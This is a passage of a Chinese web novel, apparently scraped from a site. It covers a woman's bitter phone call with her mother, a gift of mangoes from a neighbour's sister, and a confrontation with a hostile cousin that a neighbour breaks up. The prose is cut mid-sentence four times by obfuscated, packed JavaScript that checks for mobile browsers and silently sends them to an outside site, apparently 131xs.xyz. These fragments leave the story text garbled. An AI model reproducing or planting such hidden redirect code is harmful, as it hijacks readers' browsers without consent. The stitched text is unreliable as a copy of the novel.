0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364880|183889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来一只手,模模糊糊的,她目光顺着往上看,同样看不清少年长什么模样。 “走吗?”少年的声音又响了起来。 程舒晚伸手抓住少年的手,正要从地上起来,手里一空,少年消失了。 她重新跌倒在地,满身狼狈。 程舒晚醒来的时候只觉眼皮沉重,脑子里一阵阵地发疼。窗外天光大亮,除了似有若无的鸟鸣之外,还有一阵阵有规律的嗡声,她是被这阵声音吵醒的。 是床头柜上的手机在振动。 几点了? 她揉了揉眼睛,质量极差的睡眠和混乱的梦境让她升起一阵烦躁,伸手摸到手机,一睹这大清早扰人清静的是谁。 来电备注只有一个字。 “妈”。 程舒晚瞬间清醒了。 还没做好心理准备,电话就因为太久未接自动挂断,程舒晚看了眼时间,早上八点半,不算太晚,她统共也没睡几小时,但对母亲来说肯定是不能容忍的“晚起”。 这个念头还没落下,手机就再次振动起来,有一种必然要接通的可怕气势。她深吸一口气,咳嗽两声清清嗓子,按下接通:“妈。” 电话刚刚接通就沉默了两秒,随后母亲蒋慧玲的声音冷冷淡淡响起:“没起床?” “刚起。”程舒晚回答,“怎么。” “怎么?”蒋慧玲反问,“你不打一个电话过来,还不许我打?” 程舒晚没说话。 她不知道面对这种指责,她应该说些什么。 “住得惯吗?”蒋慧玲问。 程舒晚“嗯”了声。 又是沉默。 程舒晚和母亲之间的对话总是蔓延着一种诡谲,那种充斥在对话中无数个角落的沉默会把交流拉得无限长,钝刀割肉似的,一点点往下剖。 “那你的叛逆期耍够了没有。”蒋慧玲道,“打算什么时候搬回来。” 程舒晚刺道:“你不是让我别后悔么?” “那些是气话。”蒋慧玲语重心长,“晚晚,你要知道妈跟爸只是担心,我们知道你性子强,但是一个人总比不了……” “妈。”程舒晚打断道,“我马上二十六岁了。” 蒋慧玲:“所以呢?” 程舒晚:“所以我知道什么是好什么是不好,也不会像十八岁的时候那么好骗了。” 蒋慧玲:“……” 这次电话里的沉默时间更长。 程舒晚:“没事的话我就挂了。” “程舒晚。”蒋慧玲说道。 她不再喊“晚晚”,而是叫了全名,声音也冷了下来。 “你是不是对我和你爸很不满意。”她一字一句,“你爸前两天确实激动砸了你的电脑,但那是什么原因你不知道吗?” 程舒晚心里不屑地“呵”了声。 “你电脑里为什么还有游戏,你还想像大学的时候一样再气我们一次?”蒋慧玲加重了声音,“你扪心自问,这二十年我们把你送进海大付出了多少,你让我们失望多少次,你想过吗?” 程舒晚捏着鼻梁,在母亲看不见的地方,她扯了一个大大的笑,讽刺至极。 “我说了,妈,我没有那么好骗了。” 8. 骨血 “我现在在还的房贷也不是为我自己还,你们现在住的新房子就是投资我和我哥的结果,后续我还会继续连我哥那份一起赡养,所以不用现在来管我,可以吗?” “程舒晚!”蒋慧玲终于维持不住慈母的形象了,提高音量的声音中带了强迫和威慑,“你把你爸妈想成什么人了!” “可以了,妈,到此为止。”程舒晚打断,“大清早,我不想闹到要说脏话。” 蒋慧玲:“……” 隔着电话,程舒晚听见了她抽泣的声音。 唉。 程舒晚无力地在心里叹了口气。 “你到底是从什么时候变成这样的。”蒋慧玲悲道,“你小时候那么听话……你看你表弟宁松明,当初学习不如你,现在都是公司小领导了,我们没那么大的能力,你自己怎么不知道争气……” 程舒晚把手机拿远了,双目放空地盯着天花板。 她不想听。 但也不能挂断。 母亲像是个分三阶段的BOSS——第一阶段会轻声细语、语重心长地打温情牌,第二阶段会上情绪,喋喋不休展现自己的失望。 如果不必要,程舒晚不想通过挂断电话来触发她的第三阶段。 让她哭完得了。 “你跟你哥一样不让人省心。”在一众絮絮叨叨中,程舒晚听见手机的扬声器传来这么一句。 嘣的一下。 她脑子里有根弦断掉了。 程舒晚把手机重新放到耳边,开口打断:“闭嘴。” 她这声过于冷漠刻薄,蒋慧玲的哭诉还真的被打断了,半晌才不敢置信反问:“你说什么?” “我说闭嘴。”程舒晚道,“别在我面前提我哥。” 电话里再度陷入沉默,比前面哪一次都长。 像是在酝酿一座即将喷发的火山。 “我提他怎么了?”蒋慧玲问了一句,随后瞬间提高八度几乎失控地尖叫起来,“我提他怎么了!我儿子!那是我儿子!为什么我不能提!啊?” “你还知道他是你儿子。”程舒晚讽道。 蒋慧玲大叫:“你什么意思!你什么意思!啊?你现在情深义重了是吧,你忘了当初是他带你去网吧,你被他毁了你知道吗?你爸就不该只抽你!当初就该抽死他!” 来了,第三阶段。 程舒晚放下手机。她也没打算听蒋慧玲后面说什么,只是觉得她装模作样地假扮慈母和怨妇真的看着烦。 她就是要去戳,戳炸那个气球。 看着母亲卸下伪装吐露真实想法,她会感觉很快意。 可能,她也疯了吧。 在蒋慧玲骂到换气的档口,程舒晚掐断了电话,将手机关机扔床上。 尽管一晚上没怎么睡好,但她现在也没有睡回笼觉的心思了,闭着眼睛在床上等情绪平息之后爬起来去卫生间洗漱,给自己泡了杯咖啡,做好煎蛋搭配昨天买的吐司当做早餐。 房子里很安静,程舒晚挑了个歌单连接蓝牙音箱播放,在桌边坐下吃早餐。 餐桌正对着主卧的门,她一抬头就能看见,有阳光照亮房间,主卧看起来就没有昨晚那种幽静的死寂感,只是一间普普通通的卧室。 在某个瞬间,有一种这房间的主人只是去上班了的感觉。 就像每个普通的早晨。 程舒晚走了神,机械地咀嚼着,不知不觉吃完了早餐。 今天怎么安排呢?去网咖打游戏吗? 提到网咖就不免得想到关时,程舒晚暗暗叹了口气,老实说昨晚告别结束得那么尴尬,她不太想今天还碰见他。 可是不打游戏,她一时半会儿也不知道要做些什么事情打发时间。 她一直以来都是被赶鸭子上架,“专心读书”、“专心工作”,不太有自己的时间,也不会规划空闲时间。 甚至,她有些恐惧空闲时间。 只有忙起来的时候,她才不会让自己去思考“我是谁”“我从哪来”“我要往哪去”的问题。 很好理解,程序如果不跑了,那不就说明该报错了么。 她这条纯粹靠bug跑到现在的烂程序终于停下来,母亲居然还想让她继续跑。 想到这儿,程舒晚忍不住自嘲地嗤笑一声。 原以为能从牢笼挣开,却发现困住自己的从不是牢笼。 是钉在骨血中的镣铐。 关时结束健身之后在健身房洗了个澡,看眼时间,接近中午十一点半。他穿着背心在更衣室收拾东西,从外面走进来一个大块头,爽朗地跟他打了声招呼:“准备走啦?我才刚刚来!” “嗯,回去吃饭了。”关时笑着把外套从包里拿出来。 “外面蛮热的。”大块头把背包放进储物柜,看了关时一眼。 大块头平日只在中午才过来健身,总能碰见在这时候要回去的关时,时常聊上几句,一来二去的就熟悉了。 他发现这个和煦开朗的帅哥在健身之余总穿着长袖外套,即便夏天不穿外套也会穿冰袖,大块头一直挺纳闷,后来听健身房的人说过,关时手上有疤。 他朝关时手臂上看了眼。 关时右手小臂上有一道从手腕到手肘的增生伤疤,看样子是刀疤,挺长一道,挺明显,还是有点儿狰狞的。 怪不得要遮。 “走了。”关时穿上外套,笑着跟大块头打招呼,出了更衣室。 健身房就在红枫小区对面不远,关时步行回家,走到小区门口的时候接到了姚婉婷的电话:“爷爷奶奶寄了箱芒果,在驿站放着,你回来的时候顺路搬上来。” “你掐着点打电话啊。”关时道,“被你拿捏了,下次我早点回家。” “你就是到家了也改变不了被我驱使的命运,少废话。”姚婉婷一点儿不客气。 爷爷奶奶住在农村,有不少新鲜水果的渠道,隔三差五就要寄些应季水果来,而且生怕他们母子三人饿死似的,每次都会寄一大堆。 这次也一样,快递驿站老板一边找单号一边跟关时聊天,从大件里找出个箱子来,本想借关时板车,被关时拒绝了。 刚健身完的大小伙子一身牛劲儿,他弯腰把箱子抱了起来,游刃有余地冲老板一笑。 驿站老板颇为配合地鼓了两下掌。 关时扛着一大箱水果到家的时候,姚婉婷正在做午饭,探出头来看了眼,发出了“嚯”一声:“你爷奶够厉害的。” “听着真不像夸赞。”关时换了鞋,把箱子和背包放在玄关,抬腿往厨房走,“炖的什么,好香啊。” 餐桌上有红烧豆腐和芥蓝牛肉,姚婉婷锅里是四季豆,旁边电煲锅里还炖着汤。关时伸手想把盖子掀开一条缝看看,被姚婉婷拍开了爪子:“给你妹炖的鱼胶,没你的份儿。” 关时遗憾地摸摸手,周六是住宿的妹妹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364881|183889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回来的日子,平日不下厨的姚婉婷只在周末为宝贝女儿大显身手,平时他这个被使唤的闲人只有这时候能沾点妹妹的光,也只有一点。 姚婉婷朝外面努努嘴:“把芒果分分,晚点给邻居送点。” “知道。”厨房没有他的立足之地,关时拿了碗筷放餐桌,顺了块鲜嫩的牛肉偷吃,这才去拆箱子。 芒果整整齐齐地码在泡沫箱里,又大又饱满,正处在由青转黄的阶段,冒着即将成熟的果香。关时一边往外拿一边掏出手机给奶奶打电话,老人总惦记儿孙们那点事儿,收到他们的好意最好要及时反馈。 “喂,奶奶,是我,阿时。”关时道,“芒果收到啦。” 奶奶在电话里喜笑颜开,拉着关时絮絮叨叨许久。关时手里挑着水果,垂眸和老人笑着应和,刚挂电话门口就传来钥匙转动的声音,妹妹关星玥推门进来。 “好香!妈妈在煮什么!” 姚婉婷在厨房高喊:“闺女回来啦!给你炖了超级鲜的汤!” 关星玥读高二,扎着高马尾,尚且青涩的脸蛋甜美可爱,一双与关时相似的浅色眸子精灵般灵动,干净又纯粹。她兴高采烈地回应老妈,扭头看见蹲在地上分芒果的关时,眨眨眼,“你好像在分赃的小偷。” “你瞎么,有我这么靓仔的小偷?”关时呛她一句,“给邻居的,我俩等会去送啊。这个给苏姨,这个给刘叔,这个给你琦琦姐,这个给张伯,这个给你程姐。” 关星玥跟邻居们的关系都很好,“嗯嗯嗯”地点头如捣蒜一一记下,但听到最后怔了怔,问:“程姐?程……老师家?哪个姐?” “舒晚,你程老师妹妹,昨天搬过来的。”关时道,“你要是不想……” “我去送!”关星玥自告奋勇,唰地冲去厨房扯了个保鲜袋,“我现在就去。” 关时乐了,“你那么喜欢她?不就见过一次?” “程老师说过啦,舒晚姐姐是海大毕业,还是我师姐!”关星玥笑嘻嘻道,已经重新穿上了鞋,“而且上次见她,她好漂亮,谁不喜欢漂亮姐姐!” 关时挑了几个卖相最好的芒果装保鲜袋里,“不知道人家在不在家,快吃饭了,你快去快回。” “知道!”关星玥提着袋子,蹦蹦跳跳地拉门出去了。 关时蹲在地上,低头笑了下。 要是他自己去,指不定程舒晚门都不给开。 但让妹妹去的话,就算是“普通的邻居”了吧 程舒晚最后还是没有选择去网咖,而是窝在沙发里看小说。 不堪的睡眠质量和一大早的火气让她提不起半点精神,连咖啡都救不了,看了一半她就在沙发上睡着了,半梦半醒之间,一阵门铃声把她吵醒。 啧。 程舒晚捂着眼睛缓了半晌,睁开一条缝,心道最好别再按第二下,她现在浑身不爽。 门铃又响了一声。 他妈的谁啊。 她忍无可忍吐出一口气,从沙发里爬起来,拖鞋也不穿了,光着脚大步流星过去把里面的木门咔哒一声猛地拉开。 她不管是什么推销还是查表,她现在的怨气收集起来能把火箭崩上太空。 隔着军绿色的防盗门,率先进入视野的是一双水灵灵的浅色眼睛。 门外的女孩穿着文山中学的校服,脸颊流畅可爱,瞧见程舒晚,她张开五官露出个甜甜的笑,喊道:“舒晚姐姐吗?” 9. 堵门 程舒晚抓着门愣了一下,火气被这声又甜又清脆的“姐姐”给浇灭了一半。 等等,有点眼熟。 “姐姐记得我吗?”关星玥眼睛亮亮的,“关星玥,我住501!” 501,哦。 程舒晚在脑海里翻了一阵,想起来半年前在程舒恒的葬礼上见过这个女孩,当时遗体告别仪式上哭得一抽一抽的,她是程舒恒的学生,也是关时的妹妹……啧。 程舒晚一想到关时就忍不住一阵尴尬。 别他妈的尴尬了!那么在意是吧!在意个什么劲儿啊真窝火! ……好了,她现在不但尴尬,还窝火。 不过这些都跟面前这个水灵灵的小姑娘没有关系,程舒晚拉开防盗门,展露所剩不多的温和与素质,“有事吗?” 关星玥把手里的芒果递过来,眉眼弯弯,“家里寄来很多水果,放两天就熟了,很好吃的,给姐姐试试!” 程舒晚盯着她手里那袋芒果,顿了顿,“你哥让送的?” “嗯。”关星玥点点头。 程舒晚笑了一下,有点冷,“不用了,谢谢。” 妈的我就知道那孙子贼心不死。 关星玥瞪着眼睛:“姐姐,你跟我哥有过节吗?” 程舒晚面不改色:“没有。” “啊,那就好。”关星玥信了,笑眯眯地吐槽道,“我哥那人,就是喜欢给人当爹,有时候没大没小没轻没重,跟大型犬似的可烦了。” 程舒晚:“……” 那句话怎么说来着,只有家人才知道戳哪根脊梁骨最痛。 不过她没想到自己也算跟妹妹所见略同了。 “舒晚姐你收着吧。”关星玥把袋子塞到程舒晚手上,“家里有很多,我们给邻居们都送啦。” 程舒晚还想拒绝,关星玥一下垮了脸,苦兮兮道:“帮个忙吧姐姐,真的,一大箱,我们家吃不完的啦。” 关星玥这小姑娘又甜又敞亮,一双圆圆的亮眸把程舒晚迷得五迷三道的,鬼使神差就接下了他们家的礼物:“……谢谢。” “不客气。”关星玥笑嘻嘻的。 她送完芒果还没准备走,程舒晚想了想,才刚刚搬过来屋里没有什么能拿得出手的回礼,站在这儿大眼瞪小眼也稍显尴尬,于是侧身发出礼貌性质的邀请:“要进来坐吗?” “啊,不用。”关星玥摆摆手,“不了,妈妈做完午饭了,我要回去吃饭啦。姐姐吃过了吗?一个人无聊的话下次可以去我家吃,我妈和我哥的手艺超级好。” 手艺? 做饭? 关时啊? 程舒晚愣了下,想象不了那个一身死装范儿的老板围着围裙拿锅铲的样子,觉得有点恐怖和好笑。 好荒谬哦。 “那你不回去?”程舒晚问。 关星玥歪头想了想,道:“舒晚姐。” “嗯?” “要开心。”关星玥露出一个灿烂的笑。 程舒晚:“……” “我走啦,”关星玥挥挥手,“有空来501玩儿!” 她像是一团明媚的云彩,裹挟着温暖的阳光,飘进了电梯间。 程舒晚关上门,站在门口低头看着手里那袋芒果半晌,轻轻笑了声。 虽然要开心可能没那么容易,但是关星玥好像个自带杀菌紫外线的小太阳一样,把程舒晚上午滋生的怨气给消杀了一遍。 现在甚至有些宁静。 这就是正值青春年少的小姑娘吗,太神奇了。 她一边往厨房走,一边打开保鲜袋拿出芒果看了看。袋子里的芒果一个个相当饱满,即将成熟,散发着好闻的果香,是在市场上都可遇不可求的品相极佳的时令水果。 改天回个礼吧。 朔江不似海宜那般国际化、快节奏,它虽然也是大城市,但同时也是包罗万象的老城,城西的龙都区就是老城区,而龙都区里的大荷这片更是充满慢条斯理的生活气息。 大荷街区与程舒晚在海宜上班时的市中心相差甚远,没有高耸的CBD,没有喧闹的商圈,只有路边成荫的高大树木和老旧的居民楼,二三十年的老店和装潢现代的网红店鳞次栉比,吃住起居样样齐全。 虽然程舒晚十年前在这里读高中,但是文山中学是全寄宿制,她上学之余从来没有在大荷街区逛过。 而且十年前的大荷并不如现在,那会儿,这里是出了名的地痞混混扎堆的混乱街区。 周末快过完了,程舒晚抓着这点儿尾巴在地铁站附近的大型超市转了几圈,给自己添置了些生活用品。 天气正好,超市再过去些是沿河的公园,程舒晚提着刚买的东西逛了过去,沿着公园的防护栏走着。风从河对岸的青绿山丘吹拂而来,带着春末的湿润气息掠过皮肤,被午后的阳光一晒,暖得心尖发痒。 周末下午的小公园有不少人,成双成对的情侣,举家出游的一家三口,推着婴儿车散步的家长……河面上有快船嗡嗡地行驶而过,拖出一条波粼粼的长浪花,程舒晚站定在岸边,目送它慢慢远去。 ……还挺惬意。 程舒晚在河岸的公园逗留了好段时间,回小区的时候天色已经渐渐暗了下来。她懒得再回家开火做饭,干脆随便找了家店简单解决晚饭,临近七点半才提着东西往小区走。 手机震了震,谭婧发来消息,是一串语音,程舒晚换了只手提东西,把手机靠近耳朵。 谭婧的声音有些疲倦:“本来说周末找你喝茶来着,我要死了,哈哈。” 程舒晚打字:“加班辛苦。” “我以为今天能整理完开庭的资料,我真是小瞧我当事人了——可惜不能说。”谭婧遗憾道,“开完庭我有调休,要是你有时间我找你喝茶。” 谭婧在吐槽的时候如果用感叹号和表情包刷屏,那说明血条还有大半,所以程舒晚还能不痛不痒跟她开玩笑,但像现在这样平静地发语音,才说明她真的要碎掉了。 “你慢慢忙,不用考虑我。”程舒晚道。 谭婧又发一条语音:“对了,你妈下午给我打电话了。” 程舒晚脚步顿了顿,她都没勇气再点开语言第二遍,手指有些僵硬起来。 她感觉有点丢人。 “你不用太紧张,她没打扰到我。”谭婧毕竟是程舒晚的发小,知道她家里的情况,也知道她妈到底多难搞,“她就是问我有没有跟你联系,想托我跟你道个歉。” 道歉? 为了昨天那通电话? 程舒晚愣了会儿,随后烦躁地皱起眉头来。 蒋慧玲的惯用技巧罢了,发疯的时候敞开了癫,完全不管说出口什么话,事后就可怜兮兮的道个歉,用另外一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364882|183889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 种“发癫”来乞求原谅。 俗称打个巴掌给颗枣,但你如果不要那颗枣,她可能会再给你个巴掌,说你不识好歹。 她怎么闹都无所谓吧,可是骚扰到谭婧,她感到抱歉又火大。 “我跟她说了我没空,也没跟你联系,放心,没影响我。”谭婧知道程舒晚会想多,于是马上说道,“只是刚刚想起来一件事,觉得有必要跟你说。” 程舒晚:“嗯?” “你记得宁松明吧?你那个表弟。” “啊。”程舒晚应答。 她可太记得了。 虽说是表弟,但二人其实同年岁,程舒晚只大他两个月。宁松明的母亲是程舒晚的小姨,高中的时候他跟谭婧同班,所以谭婧也认识。 程舒晚跟宁松明非常不对付,严肃点说,两人之间有不小的恩怨。 除了私人恩怨,宁松明的父亲是朔江市当地龙头企业庭宇科技的高管,他本人也在父亲手底下工作,蒋慧玲因此对他赞赏有加,时不时就要拿程舒晚和兄长程舒恒来对比。 她知道宁松明本人是什么样的尿性。 谭婧在这时候提到他,程舒晚有了不好的预感。 谭婧:“之前高中聚会的时候我见着他来着,他现在住的地方距离红枫小区好像还挺近的,我就是怕你妈从我这里突破不了,会让他去当面找你。” 程舒晚:“……” 很好,她开始头疼了。 “没事。”程舒晚强行把思绪掐断,安抚谭婧,“我跟他都三四年没见过面了,他不至于现在还……” 聊天框的字还没打出去,屏幕上方弹出一个来电。 来电没有备注,但是这串号码程舒晚有印象。 真是说曹操曹操到。 程舒晚手指一划唰地挂断,随后把聊天框的字删掉,重新发道:“你好好休息,不用担心我。” 谭婧:“嗯,过两天联系你。” 程舒晚还没回复,那个号码又打来了电话。 烦。 程舒晚再次挂断,索性把手机静音,揣进兜里往十三栋继续走。 老旧小区没有地下停车场,居民楼下时常停靠私家车,十三栋楼下也有好几辆,甚至有辆就停在单元门口。程舒晚没在意,路过这辆车往单元门走,没想到车窗突然下降,有道男声喊了她一声:“程舒晚。” 这声音有点熟悉,程舒晚反应了半秒就意识到是谁,瞬间鸡皮疙瘩都起来了。 卧槽。 她扭过头,车里驾驶位上的男人推了推眼镜,露出一个文质彬彬的笑容,“怎么不接我电话?” 天色已经暗了,只有单元门口的灯照亮这一亩三分地,勾勒出男人的模样。 宁松明长得人模狗样的,穿着一身妥帖的西装,鼻梁上夹着银框眼镜,脸上挂着斯文的笑,但稍显刻薄的五官被冷白的灯光一照,更显得苍白而阴翳。 程舒晚现在只觉得汗毛竖立。 宁松明知道她住在这儿很正常,如果是蒋慧玲主动联系他,肯定什么都会跟他说。 可是他明明有程舒晚的微信,仍然不提前告知就不请自来,发现她不在家也不发消息,一边孜孜不倦给她打电话,一边潜伏在楼下等她回家——程舒晚想不明白这种行为是脑子正常的亲戚可以做出来的。 跟他妈的变态一样。 10. 找茬 输人不输阵,程舒晚也就是开场碰面吃了个亏,但没有丢盔弃甲,她站在车窗外,垂着眼皮居高临下地流露出视线看着宁松明。 “你给我打电话了吗?”她语气很淡,“可能被识别成垃圾电话拦截了吧。” 宁松明的眼皮跳了一下,仍然维持微笑,“好几年不见,你一点也没变啊。” 只是普通的寒暄开场都擦出了火药味。 只是程舒晚对他没什么耐心,双手在跟前插着,“找我有事?” “也没什么,就是大姨给我打电话,让我关照一下你。”宁松明把手臂搭在车窗上,漫不经心的模样,镜片背后的目光却带着刻意的炫耀,“我刚好在附近谈完一笔两百万的生意,就想顺路过来做做客,毕竟也这么久没见了。” 程舒晚极其不耐烦地捻着手指。 蒋慧玲打电话也只是一句借口,宁松明不过是想亲自来嘲讽一下从海宜辞职回来的她的罢了。 “你应该有空?”宁松明有些讥讽似的,“毕竟你现在没工作,应该是挺闲的吧。” 关时一家刚刚吃完晚饭,关星玥主动包揽了洗碗的活计,关时收拾了餐桌和厨房,拎着垃圾下楼。刚刚走出电梯还没靠近单元门,就听见外面有人在说话。 “我只是闲,不是热爱浪费时间,明白?” 是程舒晚的声音。 和什么人起冲突了? 关时放轻了脚步没有惊动声控灯,走到门口,外面传来打开车门的声音,随后有个男人道:“看来过去那么久,你还是对我耿耿于怀。” ……嚯。 看来撞见不得了的场面了。 关时插着手,饶有兴趣且十分不要脸皮地站在不隔音的门后面偷听。 宁松明下车之后站直了要比程舒晚高半个头,程舒晚轻轻掀起眼皮从下往上睨着他,重复一遍:“耿耿于怀?” “不是吗?当年你我都是大学生,都不成熟,我也承认那会儿我性子恶劣些,没想到那些言论对你的伤害那么大,在这里给你赔个不是。”宁松明双手插兜靠在车门上,颇为轻描淡写地耸了耸肩,“但现在都是奔三的人了,就不必再揪着过去的事情不放了吧?” 程舒晚看着他没说话。 宁松明似乎是从程舒晚的目光中捕捉到不屑,装模作样叹了口气,“好吧,那我拿出点实际的——我可以跟我爸说一声,在公司里给你谋个职位当做赔礼,待遇不会比你之前的公司差,怎么样?” 话中的轻蔑和垂怜根本掩饰不住。 程舒晚像是听到什么笑话一样轻轻扯了扯嘴角,笑了。 “当个关系户?”她反问,“跟你一样?” 宁松明脸上假模假样的斯文笑容终于有了裂缝,慢慢收敛起来。 他果然还是不要笑比较好,阴恻恻的五官相由心生,笑起来时怎么看怎么膈应,不笑的时候还顺眼些。 毕竟他就是个纯粹的小人。 “程舒晚,别给脸不要脸啊。”宁松明终于不装了,冷言嘲道,“你以为当初没有我,你就能安心平顺地做你的游戏主播?” 程舒晚闻言,垂在身侧的手不受控制地抽动一下,强行压制住一拳砸在对方脸上的冲动。 “你见过外面的风浪吗?随时随地能搞死你的事情那么多,至少我还愿意给你赔礼。”宁松明居高临下地讥笑,“我不过顺水推波你自己就撑不下去了,你怪不到我头上。” 程舒晚深吸一口气,随后冷笑出声。 “搞清楚两件事。”她收起一闪而逝的笑意,声音硬得跟冰碴子似的,“其一,我从头到尾都没提过当年的事情,是你自顾自提赔礼自顾自破防,怎么,狐假虎威太久,忘了有人不会惯着你这件事了?关系户?” 程舒晚一句“狐假虎威的关系户”正戳在宁松明的痛处,他表情一下就黑了,正欲开口,又被程舒晚打断:“其二,有一点你说错了,跟几年前相比我不是一点都没变,我脾气变差了脏话也变多了,你如果不想领教的话,现在最好马上滚。” 程舒晚学不会委婉,没有打人不是因为她礼貌,而是因为她权衡再三觉得自己细胳膊细腿打不过个男的,但不代表她想忍。 一通话说完她也懒得再去看宁松明的脸色,径直走向单元门。 但宁松明没让她如愿,强行拉住她的胳膊,脸上一片恼怒之色,“你说我什么?你搞清楚自己的定位没有?要不是你妈求我,你以为我会搭理你这种人?” 呵。 他不提这一茬还好,一提她就来火气。 “既然我妈求你,那你找她去。”程舒晚挣了挣,没挣开,她用力一甩胳膊,甩开宁松明的同时没收好力道,手在单元门的门锁上磕了一下,“……少他妈的来烦我。” “你是不是欠——”宁松明恼羞成怒,握着拳头还想去拉拽她,咔哒一声,单元门在这时候从里面被推开了。 宁松明正好站在门口,正正被铁门拱出二里地,不由得退后三四步,被迫拉开了和程舒晚的距离。 程舒晚在门的另一侧,顺势往门里投去目光,冷硬的表情瞬间僵住。 关时穿着闲适的长裤和宽松的套头卫衣,脚上一双洞洞鞋,全然一副居家模样,手里提着袋垃圾,朝程舒晚灿烂地笑了一笑:“真巧啊,回来了呢?” 程舒晚:“……” 她愣在原地,空气好像都为之尴尬地沉默了两秒。 她该说话吗? 说啥? 是啊真巧,吃了吗您? 要是您想唠的话您待在这儿,我先走了呗? 程舒晚想在自己身上装一个“关时侦查雷达”,一旦他靠近自己五米立刻响警报。 他到底是怎么能每次都在她最狼狈的时刻横空出现的? 最先反应过来的是宁松明,他回神来,看着程舒晚,不依不饶地:“你最好现在把话说……” “这位先生,”关时开口,“这是你的车吗?” 宁松明的气势被突然打断,愣了一下,“是我的。程……” 关时:“门边不能停私家轿车,这个地方是给街坊们停小电驴的,你的车停在这里会给别人带来困扰哦。” 宁松明张嘴片刻,好一会儿终于反应过来关时是故意的,他皱眉,目光在关时和程舒晚身上转了转,“你是她谁?” “我?”关时看了程舒晚一眼,“就邻居啊,我碰见邻居都会打声招呼……啊,打扰你们了是吗?不好意思啊,我就是去扔个垃圾。” 宁松明:“……” 他鼻翼微张,满脸欲言又止的便秘表情。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364883|183889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >程舒晚抓住这顺风的机会开团,往外一指:“小区外面有公厕。” 宁松明:“……” 他脸色更黑了。 程舒晚心中暗笑,被这么胡言乱语地搅合,他要是还能继续吵那也挺牛逼。 果然,宁松明只是伸手指了程舒晚一下,冷着脸拉开车门弯腰坐进车里,“程舒晚,你最好别来求我。” 赶紧滚的吧。程舒晚懒得理他。 宁松明的轿车终于消失在小道上,程舒晚拎着一袋子采购站在原地,终于松了口气,瞥眼,关时胳膊撑在门上看戏,见她看过来,耸肩微微笑了笑。 程舒晚咬唇片刻,松开了目光:“你不是要去扔垃圾?” “是啊。”关时直起身,给她留门,“注意安全。” 门口狭窄,程舒晚扶着门,关时松开手挨着她从她背后蹭过去。略高的体温隔着两层布料传递到程舒晚背上,有些暖乎,跟个火炉似的包裹了过来。 一触即走。 程舒晚站在门口顿了片刻,几乎是下意识转身,脱口而出:“关时。” 关时回头看她。 “……谢谢。”程舒晚小声道,有些别扭。 “嗯?”关时笑着看她,“我做什么了吗?只是提醒他不要在这儿停车,小区停车位还挺紧张的。” 他说得煞有介事,似乎只是个热爱小区的住户,对程舒晚和宁松明的恩怨不闻不问。 程舒晚盯着他,终于忍不住扬起嘴角笑起来,笑了两声又叹了口气:“关时。” “嗯。” “谢谢。” “你谢过了。”关时说道,视线在她的手上停了停,“你手,刚刚刮到门了?” 手? 被他一说,程舒晚确实感觉刚刚敲到门的手到现在还疼,抬起来看了看,左手掌侧有条显眼的血痕,可能是被什么东西划拉了下,血珠子都快连成线了。 关时走过来看了看,“消个毒吧,家里有酒精和碘伏什么的吗?” “……没。”程舒晚“啊”一声,“没事,就这一点点,又不痛。” 关时深深地看了她一眼,“小区有家药店,没多远,我带你去?” 程舒晚:“我说不用。” 关时看她半晌,收回目光,“行。” 程舒晚到家的时候手上那血线快要滴下来了,她拿纸巾把血擦擦晾着没管,收拾起下午买的东西。 主要是厨房调料、洗护用品之类,结果把调料往桌上放的时候,程舒晚一个没注意手蹭到桌角,登时火辣辣的疼给她激得一哆嗦,当场捏着手蹲下了。 她错了。 至少创可贴还是要买一下的。 程舒晚从地上颤颤巍巍地站起来,在脑子里思索关时说的“小区的药店”在哪个方位,还没回忆起来,门铃突然响了。 ……不会宁松明那家伙去而复返吧。 这个可能性说不定不小,程舒晚在厨房转了转,最后找到了趁手的防身武器——还没拆封的酱油瓶,用没伤的右手拎起来在手里掂了掂,这才前去客厅,透过猫眼往外看。 门外的人一身宽松长袖长裤,手里拎着个塑料袋。 是关时。 程舒晚松了口气,但随后又疑惑起来。 他干嘛来了? 11. 上药 程舒晚趴在门上看了会儿,一时间不知道要不要开门。 虽然关时总体而言礼貌阳光又和善,比宁松明不知道敞亮几条街,但某种意义上,对程舒晚来说,关时反而更棘手一点。 犹豫再三她还是开了门,关时见到她,隔着防盗门弯眼一笑。 程舒晚突然想起关星玥说过的话。 她说,我哥,跟大型犬似的。 她说的没错,程舒晚瞬间幻视面前是一只萨摩耶。 她把防盗门一并开了:“找我?” 关时把手里的塑料袋塞过来:“拿着。” 